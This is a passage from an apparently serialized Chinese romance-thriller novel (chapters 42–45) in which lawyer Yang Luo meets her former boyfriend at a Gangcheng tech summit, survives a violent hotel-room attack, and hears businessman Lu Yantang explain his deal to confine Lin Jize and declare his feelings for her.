杨珞被张凌睿的感慨拉回现实,想想也是,内地的发展的确太快了。
“你在港城上学那几年怎么样?应该对那里很熟悉吧。”
杨珞收起登机牌。
“还行吧,港城物价贵,也没怎么玩儿。我们这次去是要干什么?”
张凌睿摇摇头:“没说,到了听安排吧。”
杨珞在飞机场睡了个好觉,把前几日的疲惫都弥补过来了。去酒店的车上,记忆中的马路熟悉又陌生。
路还是那些路,可路边的商铺变了,眼前的模样和记忆中的样子交织重叠在一起,把杨珞拉回到了那个光怪陆离的过去。
路口行人匆匆走过,杨珞探头朝外看去,隐约间似乎看到了一个熟悉的身影。
可匆匆一瞥,又不见了踪影。
她自觉的自己魔怔了,许是故地重游就想起旧人。
她又坐好,支着脑袋发起呆来。
车子最后停在瑰丽酒店门口,杨珞下车,呆呆的看着眼前的富丽堂皇。
张凌睿跑来揶揄她:“发什么愣?被陆总的财力惊到了?”
杨珞笑了笑没说话。
瑰丽酒店是港城最豪华的酒店,以前她总和陈桥开玩笑,说算命的说自己是富贵命,以后等她赚大钱了就带他来这里骄奢淫/逸。
那时的陈桥总是笑着,任她胡说八道,到最后再附和一句:“那我就等着抱杨总的大腿啦!”
入住酒店后,杨珞刚收拾好,张凌睿就给她送过来一叠材料。
“明天晚上要参加一个科技峰会,这是跟人工智能法律规制相关的材料,你熟悉熟悉。”
杨珞翻了几页,里面的东西很是陌生。
“科技峰会?这次出差要办的事儿这么杂吗?”
“谁知道,听上面安排吧。好好看啊,指不定要上去发言。”
杨珞如临大敌。
科技法律相关类的东西她从未涉及过。拿到材料后在酒店看了整整一个下午,才勉强把所有内容都过了一遍。在抬头天色已经暗了下来,肚子也开始响了。
她起身到楼下的餐厅,点了份简餐。等待的时间里又把文件拿了出来。
服务生上前倒水,却不小心洒了一桌子,热水顺着桌子流到她的腿上。
杨珞被烫的一机灵,服务生赶紧道歉:“对不起对不起,我是新来的,不好意思。”
杨珞抽了几张纸巾擦干净:“没事。”
服务生赶紧擦了擦桌子,欠身离开。
杨珞被这个小插曲弄的无心再学习,吃了饭后坐了会儿就回房间了。
可刷卡的时候却怎么
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也刷不开,只好再下楼去前台。
“我的房门打不开了,帮我看一下吧。”
前台接过房卡,检查了一下后说:“不好意思,可能消磁了,马上为您解决。”
一番折腾,杨珞终于回到房间。
港城最豪华的酒店,原来就是这个样子。
好像也什么大不了。
时间飞逝,物是人非,曾经遥不可及的东西真的送到眼前,似乎也不过如此。
杨珞躺了一会儿,不再伤春悲秋,继续打开材料准备。
——
商务套房内,陆砚堂站立在窗前。朝远处望去,万家灯火,星光点点。
身后敲门声响起。
“进。”
陆砚堂转过身来,坐在沙发上。
老七站立一侧,如数汇报。
“和林尊儒约好了,后天一早见面。”
“嗯。”
“林纪泽已经在港城了,但具体位置我还没查到,他好像有意躲着。”
“不碍事,他会出现的。”
“还有一件事,之前一直跟踪杨小姐的人我调查了,有几个确实是林纪泽的人,但还有几个好像不是。”
陆砚堂抬眼:“还有谁?”
老七:“还没查出来,但是港城人,我们从林纪泽为线索展开了,应该快了。”
陆砚堂低头不语,半晌才吩咐道:“杨珞那边多盯着点,别出什么意外。”
老七:“是。”
——
次日傍晚,杨珞带着厚厚的材料出发。她原以为等着她的人是张凌睿,却没想到是陆砚堂。
杨珞在看到眼前人的时候愣了一瞬,自那天在小木屋之后,两人已经四五天没见过了。
杨珞走上前:“张主任呢?”
陆砚堂:“他有别的安排。”
杨珞没再说什么,自觉跟在陆砚堂身后。
陆砚堂:“今天会来很多人。”
杨珞:“规模很大吗?”
陆砚堂似笑非笑的看着她,看的杨珞有些莫名其妙。
“把你带过去,还能不能把你带回来了?”
杨珞怔怔的,没明白他话里的意思。
“你要是有事,就去找程进,我走不开,但他一直在。”
杨珞被陆砚堂弄的不知所措,可这几日下来她也习惯了,陆砚堂葫芦里不知卖的什么药。
这次科技峰会的规模很大,陆砚堂受邀参加是因为陵川有新的科技投资。杨珞有些意料之外,张凌睿并没有过来,同行的律师也只有她一个。
会议进行了一段时间,杨珞才发现这场会议并没有她这个律师什么事儿,纯粹是跟着来瞎逛的。
三个小时后会议结束,参会的人开始了进一步的社交。陆砚堂早早被人群围了起来。杨珞是个无名小卒,也不往那头凑。
人来人往,熙熙攘攘中,让她这个闲人有些尴尬。她从侍应生那里要了杯鸡尾酒,想掩饰一下此刻的境地,但却引来了别人的碰杯。
杨珞手忙脚乱的应付了一会儿,决定寻个安静之处。
她寻找着不起眼的角落,一点点穿过人群。
目光移动之间,又看到了那个熟悉的身影。
可这次不再是错觉
杨珞的脚步不自觉慢下来,定住。
疑惑又茫然的望着前方。
似乎是感应到了什么,与人交谈的男人回过头。
四目相对的一瞬间,竟有恍如隔世的错觉。
46. 第42章
周遭的声音都低了下来,杨珞怔怔的看着眼前的陈桥,像一阵微风吹起平静的湖面,泛起一层层柔和的涟漪。
陈桥的目光闪过片刻的惊讶,而后慌乱的相顾左右,再次看相杨珞,说不上是意外还是惊喜。
陈桥走向杨珞,杯中酒因为步伐过快而洒出一些,站立在杨珞面前,却欲言又止。
杨珞看着眼前人,率先开了口:“好久不见。”
以往她总觉得这四个字俗气,好似所有旧人相见只会说这些,再没别的新意。可如今身临其境,却发现除了好久不见,她再说不出别的东西。
陈桥笑了笑:“好久不见。”
两人并未在人群中惹人注目,踱步到了一旁的水吧。
陈桥:“还在做律师吗?”
杨珞:“对,今天和甲方一起来的。”
陈桥:“陵川的陆总吗?今天从西京来的只有陵川一个。”
杨珞:“是,我们律所在和陵川合作。”
杨珞低头瞥见陈桥胸前的工作牌,是一个科技公司的经理。
“你没有再从事法律行业吗?”
陈桥笑了笑:“没有,我现在在做投资人。想来想去还是赚钱最重要。”
杨珞也笑了,两人背负着过去的伤痕,走着脚下截然不同的路,却对过去闭口不提。
杨珞:“为什么会来港城发展?”
陈桥:“我就知道你会这么问。”
杨珞静静地看着陈桥,这个让他们爱恨交织的地方,让自己几乎坠入地狱的地方,她单单是想到这些就唯恐避之不及,如若不是陆砚堂的安排,她这辈子或许再也不会踏足这里。
“我记得刚上大学的时候,我就有一个梦想,我希望以法律为武器来捍卫我心里的信仰。这里是我梦想开始的地方,也是我梦想破碎的地方。可我这个人还是太固执,我希望我能从跌倒的地方爬起来。”许是意识到自己说的话有些沉重,陈桥笑了笑:“况且做投资人,这里也算是一片沃土。”
杨珞静默片刻:“对不起,是我连累了你。”
陈桥摇了摇头:“我做的所有事都是我想做的,我也可以承受这些代价,你不用自责。”
杨珞没有说话,过了许久,陈桥试探的问道:“你还好吗?”
杨珞故作轻松道:“还好,死不了,活的还行。”
陈桥点了点头,到底不敢再追问下去。
楼下有人叫陈桥的名字,他起身打了个招呼。
杨珞:“你去忙吧,一切顺利。”
陈桥转过身来,目光在她脸庞上停了一瞬,犹豫许久,也只说了一句:“一切顺利。”
陈桥转身离去,杨珞目光空空的看着前方。半分钟后楼下响起了陈桥与人交谈的声音,她起身往下看去,在这个男人身上又看到了意气风发的样子。
她知道,他在哪里都会发光的。
杨珞思绪乱飞着,刚分开时她幻想过重新遇到陈桥时的场景,或是惊喜、或是悲痛。可时过境迁,此刻心底只是满满的平静。有着对两人年少时光的感慨,也有着造化弄人的遗憾,可似乎真的过去了,时间永远是一剂良药。
“我说怎么不见了踪影,原来是会旧情人去了。”
陆砚堂玩笑的声音在背后响起,杨珞缓缓从出神中抽回,淡淡的看向他。
陆砚堂喝了点酒,脸上挂着一抹似有若无的笑意,语气不知是调侃还是揶揄,不紧不慢的朝杨珞走来。
杨珞这才反应过来,陆砚堂早就知道陈桥在,难怪会说怕把自己带不回来这种话。
可她也知道,陆砚堂不怕自己不回来,不然也不会前前后后开她两次玩笑。
杨珞与他擦肩而过:“别说的那么小气,那是我的旧爱。”
陆砚堂笑意更深了,乐得见她如此坦荡。
夜幕降临,港城的天际线被无数灯光相映。杨珞徘徊到大厦顶层,倚在窗边望着楼下的夜景。
她不愿回想起过去的事,更不愿曾经的感情被调侃。
那是她曾经真心实意爱过的人,即便两人分道扬镳,也不想沦为别人嘴里的谈资。
晃神之际,几声巨响炸裂在空中,窗外燃放起了绚烂的烟花,眼前墨色的天空也被照亮。
杨珞倾身向前,以往总是站在地上向天上看,绚烂却遥不可及,如今还是头一次从上往下看烟花。
夜空色彩斑斓,隐隐看到地面上熙熙攘攘的人群,他们聚在一起,兴高采烈的欢呼着。烟花持续了十分钟,随着最后一声爆竹声,很快又陷入了一片寂静。杨珞的心也短暂的兴奋了一下,而后回归到无尽的平静。
夜色回归,窗外又暗了下来。
玻璃在暗色的背景中映出杨珞的面容,精致却颓丧,她看着自己因疲惫略显无神的眼睛,思索着这场人生的闹剧何时才能结束。
目光一转,杨珞忽的看到自己身后的一个影子。
她几乎本能的打了个冷颤,惊恐的回头,可却什么都没有。
她站在原地,汗毛竖起。
她分明看清了,是林纪泽的脸。
空旷的楼顶开始变得可怕,她抬腿向电梯跑去,如逃命般离开这个地方。
电梯飞速下落,门开的一瞬间吵闹的声音涌进来,驱散了她的满身寒意。可当杨珞站在人群中,呆呆的看着一张张陌生的面孔时,却又不知能去何处。
她害怕极了,不断深呼吸让自己冷静下来。
一侧的高楼上,陆砚堂看着慌慌张张跑出来的杨珞,冲一旁的程进使了个眼色。
程进会意,朝楼下去。
“杨小姐。”
程进的声音忽然传入杨珞耳朵,心底的恐惧顿时散了大半,想说些什么却不知如何开口。她下意识的寻找陆砚堂,可目光所及之处却不见他的身影。
“陆先生让我送你先离开,我送你回酒店。”
杨珞跟着程进离开,路上她深色凝重的看着窗外,程进透过后视镜打量她,察觉到他的目光,杨珞转过头来对上程进的眼睛。
“我在会场看到林纪泽了。”
程进并没有接话,别开了眼睛。
“你知道他在那儿,你们陆先生也知道,对吗?”
程进嗯了一声。
杨珞自嘲般的笑了一下,原来那句话说的不只是陈桥。
她越发觉得如浮萍般无所适从,乱,一团乱麻,可什么都理不清。
程进等着杨珞问下一句,可杨珞久久没有开口,倒是他先耐不住性子了。
“您不想知道陆先生的意思吗?”
杨珞:“想,但我想知道的不是一套被
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提前准备好的说辞。他想告诉我的时候自然会亲自告诉我。”
程进笑了笑。
老七说的没错,她是个聪明的女人。
程进把杨珞送回酒店,刚进走廊就看到在周围徘徊的几个人。那些人样貌平平,并不惹人注意,但杨珞的第六感还是让她觉得不太对劲。
程进走上前:“不用担心,是保镖。”
杨珞警惕的看向周围。
“陆先生让我转告您,就快结束了,请耐心等待。”
程进离开后,杨珞回到房间。她来回踱步,还把门反锁了。快结束了就意味着有事情要发生,可怕的是自己还是一无所知。
电话突然响了,杨珞急忙拿起手机,是唐亭。
杨珞接起电话,一字未说便长长的出了口气,紧张的身体在面对唐亭时彻底放松下来。
“怎么了?陆砚堂欺负你了?”
唐亭听出杨珞的状态并不好。
“没有,他很忙,我和他见面都很少。”
唐亭靠在阳台上,点上一只细烟。
“我昨晚梦见你了,梦见你被一只豹子追着跑,我想去救你,但是腿像灌了铅一样,怎么都跑不动。”
杨珞躺在床上:“然后呢,我被豹子吃了吗?”
唐亭:“没有,你被一直老虎救下来了。”
这个梦的隐喻很微妙似,两人都沉默了
杨珞看着屋顶的吊灯,喃喃道:“老虎救下我之后呢?把我吃了吗?”
唐亭猛吸了一口烟:“不知道,我醒了。”顿了一下,唐亭又说:“但我更希望是老虎。”
杨珞心里焦虑不安,夜色一点点浓重起来,可熬了许久也无法入睡。
她蒙上被子,强迫自己闭上眼睛,不知过了多久才在朦胧中进入梦乡。
可这梦一如既往的折磨人。
光怪陆离的景象,错综复杂的行人,她如孤魂野鬼般游荡在马路中央,来来回回找不到一个去处。
她掉入了深渊,看着无尽的黑暗,感受着空气消失殆尽的窒息。
啊——
杨珞在一声惊呼中醒来,她有一瞬的失神,可脖子上的窒息感却并未随梦境醒来而消失。
杨珞瞳孔骤然放大,她真切的看到了眼前面目狰狞的男人,用手掐着自己的脖子。
她张大了嘴巴想要呼喊,可喉咙的压迫感只能让她沙哑微弱的声音。
男人似乎不想让她出声,松开她的喉咙捂住了她的嘴,一个用力将她从床上拽起来,用黑布套住了她的脑袋。
男人三两步将杨珞拖拽到窗口,白皙的小腿在地上擦出一片伤口。
杨珞拼命挣扎,可力气不敌对方两分。
突然一声闷响,抓住杨珞的手猛的松了,她跌坐在地上,耳边响起一阵搏斗的声音。她大口喘息着,颤抖着拿下自己头上的黑布,在摘掉的一瞬间,一片温热的液体喷在自己脸上。
杨珞呆坐在原地,心跳在震惊中宛如停止。
她感受到液体顺着自己的脸庞流向脖子。
浓烈的铁锈味钻进她的鼻子。
血。
是刀插进动脉喷射出的鲜血。
洒在她脸上,溅进她眼睛里。
她模糊的看着眼前的一切,一片通红,如修罗地狱。
47. 第43章
杨珞的眼睛被鲜血染红,她透过雾蒙蒙的红色看到了眼前的人。
刘明手拿一把尖锐的匕首,插在一个陌生男人的脖子上。男人痛苦的挣扎了几下,浓黑的血像堵住的泉眼,喷了几下,在杨珞眼前咽了气。
刘明拔出匕首,鲜血再一次喷溅出来,白色的床单染上一片鲜红,在月色的映射下鬼魅残忍。
谋杀和死亡就在杨珞眼前,她手脚冰凉,血腥充斥着她的五感。
刘明扔下男人,走向杨珞,扯起她的胳膊向窗边拽去。
杨珞如同提线木偶般,直到胳膊上的痛感渐渐加重,终于唤醒了她恐惧而麻木的意识。
她喉咙里发出撕裂的哭喊。
一声尖叫彻底划破了静谧的夜晚。
老七刚走进楼梯便听到了这声惨叫,他心底暗叫一声不好,拔腿就往杨珞的房间冲过去,远远看到门口倒下的两个保镖。可还没过去,突然被一个巨大的力量撞到。他头晕目眩的摔倒在地上,还没反应过来,头上就被狠狠砸了一下。
动静彻底闹大了。
走廊上来了很多人,老七挣扎着从地上爬起来,隐约听到有人叫他的名字。
因为受了重击,他想开口却说不出话,他看到走廊上有人在打斗,用尽力气指了指杨珞的房间。
程进立马意识到了,他叫人去撞门,再一个转身看到了另一侧走来的林纪泽。
这在他预料之外。
林纪泽比他想象的要聪明的多。
屋内,杨珞想要挣开刘明的手,可他如同疯狗一样拉着她往窗边走。杨珞张嘴在他手臂上狠狠咬了下去,刘明痛的呲牙咧嘴。他狠狠掐住杨珞的脖子,却在她快要窒息时又不甘心的松了力气。
“你最好听话点,我真恨不得杀了你!”
刘明是真的恨,这个女人毁了林纪泽。
门被撞开的一瞬间,一发子弹打中了刘明。杨珞跌坐在地上,在冲进来的人群中看到了一个眼熟的保镖。
她跑了出去,可眼前血红一片,她拼命的揉眼睛,眼里的血红色终于淡去。
门外混乱一片,不仅有陆砚堂的人,还有林纪泽的人。
可杨珞分不清,她害怕极了。
“杨珞。”
她猛然站住,转过身去,看到身后的林纪泽。
林纪泽看到浑身染着血迹的杨珞,怕极了。
他朝她跑过来,向她伸出手。事情的发展出乎他的意料,他很怕伤了她。
可杨珞却在看到他的那一秒踉跄着后退。
林纪泽的指尖划过她的手腕,却没抓住她。
他看着她恐惧的目光,看着她一步步往后退。
他心底燃起的一丝热气一点点冷却下去。
走廊尽头的门开了,一大批保镖冲了进来。
杨珞看到了走在最前面的陆砚堂。
她像是在濒死前看到了一丝生机。本能的,飞快的朝陆砚堂飞奔过去。
陆砚堂加快了脚步,稳稳地接住了撞进她怀里的人。
杨珞浑身都是血迹,她颤抖的停不下来,用力的往他胸膛里钻。
陆砚堂紧紧的抱住她,缓缓抬起眼睛,看着尽头面色苍白的林纪泽。
一场恶斗在林尊儒露面时彻底停止,林纪泽什么都不管不顾了,只死死盯着那头的杨珞,他伸出的手还没来得及收回。
杨珞在陆砚堂的安抚下终于缓了过来,她紧紧抓着他的衣服,小心翼翼的回了头。
林纪泽看到了杨珞的眼神。
是恐惧,是冷漠,是恨意。
许久之前,他在噩梦中惊醒,站在他床边的杨珞也如现在一样。
一切都如最开始那般无情,什么都没有变。
林纪泽笑了,发疯一样的笑了。笑声在一片乱斗中诡异而癫狂,陆砚堂紧紧盯着他,眼里带着警惕和蔑视。
终于,陆砚堂将杨珞抱起,径直离开了这里。
杨珞许久没有说话,直到陆砚堂将她放在温暖的床上,拿毛巾轻轻擦拭她脸上的血迹,她才从那场噩梦般的遭遇中醒来。
“别怕,没事了。”
杨珞看着眼前的陆砚堂,他半跪在自己眼前,动作如此轻柔,从容和镇定抚慰了她的恐惧。
陆砚堂将她的脸擦干净,叫人送来了新的衣服。
“我现在要出去处理一些棘手的事情,你安心在这儿呆着,好好睡一觉。不会有人过来,什么都不用担心。”
杨珞好不容易定下的心又一次紧张起来,她伸手抓住他的袖子,虽然没有说话,但却溢于言表。
陆砚堂含着笑意:“放心,一切都结束了。我要去收个尾,等我回来。”
杨珞深呼吸了几下,缓缓松开了手。
陆砚堂走后,屋里来了一个中年女人。
“杨小姐,洗个澡换个衣服吧。”
杨珞低头看着身上的血迹,刘明杀人的场景像幻灯片一样在她脑海里闪过。她急忙起身冲进浴室,将身上冲了个干净。
杨珞在浴室呆了很久,将浑身上下搓的发红了还觉得洗不掉那股铁锈味。直到门外的女人敲门。
“杨小姐,已经很干净了。您不用害怕,别再伤着自己。”
杨珞如梦初醒。
杨珞从浴室出来,打量着房间里的一切。
这是陆砚堂的房间,里面还陈设着他的东西。
方才的女人一直守在外面。此刻房间里安静的不像话,杨珞躺在床上,双眼无神的盯着天花板。
被褥上上有陆砚堂身上的味道,她分辨不出是什么香味,但此时此刻竟叫她觉得有些许安宁。
杨珞与世隔绝般躺了很久,感受不到时间的流动,眼睛干涩难耐时闭上,可睡意全无,过了片刻再睁开。
她听不到外面的声音,也无人与她交谈。她在漫长的独处中修补好自己所受的惊吓。
不知过了多久,她终于起身下床。
拉开窗帘,已经艳阳高照。
杨珞长长的舒了一口气,太阳照常升起,让她的身体也多了一丝暖意。
东西都落在了自己的房间,连手机都没有。杨珞看了看墙上的钟表,已经是第二天下午三点多。
她小心翼翼的开了房门,探出脑袋朝外看了一眼,正巧与门口的程进对视上。
“杨小姐,休息的怎么样?”
程进显然已经等候多时,杨珞有些许愧疚之心:“陆砚堂呢?”
程进:“陆先生还没回来,不过您有什么问题都可以问我。不急,我先叫人准备些吃的。”
杨珞:“好,那稍等我一下。”
杨珞回去简单梳洗了一下,瞪着眼睛干熬了一整
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夜,此刻的样子实在不敢恭维。
陆砚堂的房间是套房,杨珞从卧室出来时程进已经在会客厅等候了。
程进见杨珞的次数不算少,但场合都偏正式,她也总是精致得体。这是头一次见她素面朝天,丝绸睡衣外一个简单的披肩,干净又随和。
程进低下头,倒了杯茶递给杨珞。
杨珞接过:“谢谢。”
程进:“不客气,陆先生交代我留下来,现在你有任何问题,我都可以知无不言。”
杨珞单刀直入:“昨晚有人要杀我,这也是陆砚堂的计划之内吗?”
程进:“不在。昨晚的事是个意外。陆先生确实计划把林纪泽引过来,但却引来了别的人。”
杨珞:“谁?”
程进:“从美国开始就一直有人跟踪你,这件事你应该知道。一开始我们以为是林纪泽的人,的确也是这样。但是中途混进了别的人,是林纪泽在港城的仇家。他们想要通过挟持你来威胁林纪泽。”
杨珞怔了一瞬,竟觉得可笑。
“昨晚我们调查过,应该是林纪泽的仇家调换了你的房卡,深夜潜入。但是刚好碰到同样来绑架你的刘明。所以才发生了那一幕。”
程进的话点醒了杨珞,想起昨天自己弄丢房卡的事情,原来是有人故意为之。
“还有其他想问的吗?”
杨珞想起陆砚堂昨晚临走前跟她说的话。
杨珞:“一切都结束了吗?”
程进:“如果是关于林纪泽的话,是的,一切都结束了。”
“陆砚堂做了什么?”
“简单来说,是和林纪泽的哥哥林尊儒做了一笔交易。”
杨珞皱起眉头,眼神里充满了疑惑。
程进解释道:“你应该知道林纪泽和林尊儒一直不合,其实不仅仅是不合,林尊儒对林纪泽几乎有着绝对的掌控权。林家老爷子年轻时曾和一个女人未婚先育生了一个儿子,那人是林尊儒。但迫于家族压力却娶了另外一个女人,而后生了第二个儿子,也就是林纪泽。”
杨珞虽和林纪泽纠缠了许多年,但对林家的很多事并不了解,也不愿去了解。
“也就是说,林纪泽是婚生子,他哥哥林尊儒才是私生子?”
“没错,但是林老爷子和林家夫人在结婚时,林尊儒作为大少爷已经被接回林家了。林纪泽作为林夫人的亲生儿子,在最初几年的确受尽家族宠爱,但可惜林夫人娘家发生变故,林夫人也一命呜呼。林纪泽不再有母亲家族的背景,和林尊儒并没有什么差别了。再加上林老爷子对林尊儒的母亲心有愧疚,林纪泽年纪尚小,所以林尊儒很快取代了林纪泽的位置。”
杨珞思索着林家复杂的关系,问道:“你跟我说这些是什么意思?”
程进:“我说这些,是跟你解释为什么林尊儒能压制林纪泽。林尊儒为了他在林家的权力,几乎从一开始,就对林纪泽保持了绝对的控制。这也是为什么陆先生能和林尊儒谈交易的原因。”
杨珞看着程进:“就算林尊儒和林纪泽的关系如你所说,林尊儒再怎么也要顾及他父亲和生母的面子,不然林纪泽也不会在外猖獗这么多年。陆砚堂到底和他做了什么交易?”
程进放下茶杯:“林尊儒要在西京做一笔生意,这笔生意能不能做成,要看陆先生点不点头。”
48. 第44章
杨珞手中的茶凉了,却一口都没喝。她将茶杯放回桌面,重新靠回沙发上。
程进:“交易很简单,陆先生助林尊儒一臂之力,林纪泽就会永远困在港城,绝不会再踏进内陆一步。”
程进说的那样平静,可杨珞的心却波澜不止。她从未像此刻一般感受到陆砚堂的力量,要多大的生意才能让林尊儒心甘情愿困住林纪泽,要多大的势力,才能点头间决定这一切。
杨珞觉得自己在不断缩小,缩小到渺茫一粟,她如落水的浮萍被人捞起,却不知接下来的命运将去向何处。若在林纪泽面前只是没有反抗的能力,那陆砚堂却叫她连反抗的底气都没有了。
相比她的爱意,此刻更多的是对未知的恐惧。真到自我与自尊都崩塌的那一天,会不会后悔一开始曾依附于他?
杨珞心乱如麻,她想见到陆砚堂,却又怕见到他。
接下来几日陆砚堂都不曾回来,她就在这里一直等。
程进总出现在她能看见的地方,两人却也不多闲聊,他并不像老七那样爱开玩笑,总是一副恭敬规矩的模样。
期间杨珞给家里打了两通电话,一通是向母亲报平安,一通是打给唐亭。
唐亭虽远在西京,但也大概知道了事情的发展,林纪泽的人和公司都在一夜之间销声匿迹。起初唐亭并不知道为何,甚至开始担忧起杨珞的安全,可奈何怎么都联系不上。唐亭已经买好了去港城的机票,在去机场的路上听到了陆砚堂和林尊儒合作的消息。
这消息如惊雷杂在唐亭心口上,她叫停司机,独自站在川流不息的马路上,按耐不住的抬头看着烈日炎炎的天空。
唐亭隐隐地感觉到,陆砚堂做到了。
唐亭没有再去港城,而是在家静候消息。
果不其然,第二天上午就接到了杨珞的电话。
一切事情和唐亭的猜测差不多,她悬着的心也终于定了下来。
可唐亭仍然从杨珞为数不多的诉说中感受到了她身不由己的境地。
“我曾经被带回唐家的时候也幻想遇到了救世主,可这世界上哪有什么救世主。但当年的我根本没有选择的余地。我现在终于明白,很多时候并不是我要追求什么,而是命运给我什么,我就得??接住什么。”
杨珞在唐亭低颓的声音中沉寂下来。
两人静默片刻,唐亭笑道:“如果不知道怎么办,说明还没到你做决定的份儿上。命运会把你推向你要走的那条路的,好在你命数一向不错。”
无论是玩笑还是真心的安慰,杨珞在和唐亭通了电话后终归是好受了许多。
命运哪轮得着肆意哀愁,不过都是被一双大手推着往前走罢了。
这晚杨珞睡的格外踏实。
夜里她朦朦胧胧睁开眼睛,窗外还是星星点点。
本打算继续入睡,可刚一翻身就发觉身旁有些异样。
前几天的阴影还萦绕在脑海,杨珞顿时汗毛竖起,她朝一旁摸索,却摸到了一只大手。
杨珞还没来得及细想,就被那只大手反握住。
力气很大,对方似乎反应了一下,又轻轻放松。
“吵醒你了?”
杨珞怔住,她的心从高处落下,终于趁着夜色看清了陆砚堂的脸。
她扑上去,欣喜若狂。
“你什么时候回来的?”
陆砚堂睁开眼睛:“有一会儿了。”
陆砚堂的声音很疲惫,杨珞发现他连衣服都没换,只是脱了鞋子躺在床的一侧。杨珞心中五味杂陈,话到嘴边却什么也说不出来。
陆砚堂:“我太累了,陪我睡会儿。”
陆砚堂说完便闭上了眼睛,握着她的手也渐渐没了力道,静谧之中只剩下均匀的呼吸声。夜色中他的面容不似平日里威严,多了几分柔和。
杨珞轻轻在他身边躺下,看着头顶的吊灯,在月光反射中映出微波粼粼的色彩。她原本焦虑不安的心在此刻竟无比安宁。
她不明白为什么,却在此刻的安逸中进入了梦乡。
次日清晨,陆砚堂冲了澡出来,程进已经在客厅泡好了茶。
“早餐准备好了,你要现在吃吗?”
陆砚堂将擦头发的毛巾扔在一边:“等她睡醒吧。这几天怎么样?”
程进:“一切正常,不过杨小姐看起来总是心事重重的。”
陆砚堂若有所思,却也没说什么。
程进:“林尊儒那边怎么样了?”
陆砚堂:“一切正常。”
程进怔了一下,笑了笑。
陆砚堂:“老七在那边守着,明天我还要去一趟洛杉矶,你就先带杨珞回去。”
程进:“回去之后呢?”
程进话里试探着陆砚堂对杨珞的态度,这也决定自己该如何应对。
陆砚堂思索片刻:“你该干什么就干什么,她也是。”
程进嗯了一声,没有继续问下去。他拿起茶壶又给陆砚堂添了茶。
“前天老爷子找不到你,电话打给我了。”
陆砚堂拿杯子的手顿了一下:“说什么了?”
程进:“也没什么重要的事情,不过老爷子倒是说了一句话。”
陆砚堂喉结滚动,咽下一口清醇的龙井,看向程进,示意他说下去。
程进:“他说,您冲动了。”
陆砚堂眉目并未有明显的变化,但程进仍读出了一丝冷意。他别开目光,再去添茶,屋里只有瓷器碰撞的声音。
片刻之后,传来陆砚堂的低笑,问:“阿进,你也觉得我冲动了?”
程进笑的不知所措:“风花雪月的事儿我不懂,怎么着才算冲动,我也说不准呀。”
陆砚堂放下杯子:“你跟老七呆的时间久了,也开始变滑头了。”
杨珞睡的很安稳,醒来时已经艳阳高照。
她伸手去摸一旁的被子,却已经空空如也,惊坐起来怀疑是不是做了一场梦。
杨珞披上衣服,来不及穿鞋便赤脚跑出卧室,开门就看到陆砚堂站在窗边打电话。
杨珞靠在门边等了一会儿,终于等到陆砚堂发现了她。
他的神色在严肃中流出一丝温柔,下巴指了指桌上的早餐,示意她过来吃。
杨珞见他电话还没打完,回卧室简单洗漱了一下。
白日里的不安又涌上心头。
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>昨夜他睡在自己身旁,今早又一身便服等着自己吃早餐,真像一对普通的情侣。
可杨珞清醒的知道,不是。
在她有限而传统的认知中,两人要互相表明心意,要有承诺的仪式,一步步成为朋友,成为恋人。而现在,她不懂陆砚堂的游戏规则,她不知自己是要在稀里糊涂中成为他的金丝雀,还是要成为那个见不得光,也上不了台面的烂情人。
她并不觉得这会是一场光明正大,坦坦荡荡的恋爱关系。
可主动权早已在她一次次的求助和依赖中,悉数交给了陆砚堂。
杨珞重新回到客厅,陆砚堂已经在沙发上坐下。
“这几天休息的好吗?”
“还行,有时候会睡不好。你为什么半夜回来?”
“从纽约回来的,看看你跑了没。”
“我跑的掉?”
陆砚堂低声笑了两下,再加上他此刻随意的衣服,杨珞又有了亲近的错觉。
她不再多话,拿起一片吐司掩饰尴尬。
“我明天在洛杉矶还有事,所以今晚要走。你想休息的话可以在这儿多待几天,如果不想的话,就让程进带你回西京。”
杨珞嘴里嚼着面包嗯了一声,问:“然后呢?”
陆砚堂:“然后,想干什么就干什么。”
杨珞:“你想让我干什么?”
陆砚堂闻言停下手中的动作,朝杨珞看过去。杨珞自始自终没有抬头看陆砚堂,低着头,刻意躲避着什么。
陆砚堂想起程进的话,她总是心事重重的。
他知道杨珞在想什么。
“林纪泽不会再离开港城了。我和林尊儒要在洛杉矶处理一下后续的事情,大概一周吧,我就能回西京。你有任何事都可以找程进。他会在西京呆着。”
“我没有什么要麻烦程进的。”
陆砚堂打量着杨珞,意味深长:“你倒是蔫儿了许多。”
杨珞淡笑:“是啊,我在盘算。”
“盘算什么?”
“盘算你心里在想什么,你又想要什么。”
“我想要,你给吗?”
杨珞被问住了,一言不发。换做以前她可以理直气壮的对视陆砚堂的眼睛,可是现在她觉得自己没有这个底气了。
这种感觉让她自卑,让她窒息。
陆砚堂的目光在她神色之间游离,忽的开口:“杨珞,我从来不是什么正人君子,你也知道我想要什么。我喜欢你,我也确实想得到你。第一次见你时,我觉得你有趣。鱼水之欢时,我觉得你很诱人。知道你和林纪泽的关系时我对你更多的是猜忌,也有利用之心,想借你摸清楚林纪泽的底细。再后来,我觉得你可怜,无助,还有点招人疼。”
杨珞疑惑的看着陆砚堂,不知他为什么要说这些。
“到现在,我还是喜欢你。在西京的地界上,林纪泽对你用过的所有手段,我都能再用一遍,能比他用的还顺手。但是这样没意思,我想让你心甘情愿。今天我把话都说明白,你有的是时间考虑。如果你愿意,我们的关系就随你定义。如果你不愿意,我绝不勉强。我做过的事从不后悔,说过的话也绝对算数。”
49. 第45章
陆砚堂郑重其事,杨珞颇为震惊。
她直直看着陆砚堂,以往他眼里也有喜欢曾流露出来,但更多的是势在必得的高傲。但此刻杨珞从他眼里看到了一丝真诚。
她忍不住问:“为什么?”
她或许能理解陆砚堂对她的兴趣或好感,但如此费尽周章的诚意,她甚至不理解为什么会是自己。
相比陆砚堂,她太过平凡了。
陆砚堂:“没有为什么。感情的事有了答案,就会有更好的替代品。说不清道不明,才最独一无二。不是吗?”
陆砚堂起身走近,伸手为她擦掉嘴角的一粒面包屑。
“我不是十几岁的毛头小子,为搏红颜一笑别的什么都不顾,我为你做的许多事,也不仅仅是为你,你不用愧疚,更不用觉得亏欠我。只凭心意,任君抉择。”
杨珞不置可否。陆砚堂像是在表白,可这人连表白都揣着一副神圣不可侵犯的威严。
可无论怎样,终究是消散了杨珞心底的很多疑惑。
陆砚堂重新把主动权交回她手里,杨珞看着眼前的男人,猜着他层层包裹的心思。
防备卸下后,杨珞终于感受到自己慌乱的真心。
事后,唐亭一语道破陆砚堂的高明。
“好一招欲擒故纵。”
杨珞恍然大悟,大笑不止。
“我一点也没发现。”
笑声过后是直视内心深处的肃穆。
她看不出来,正是因为她被爱情蛊惑。
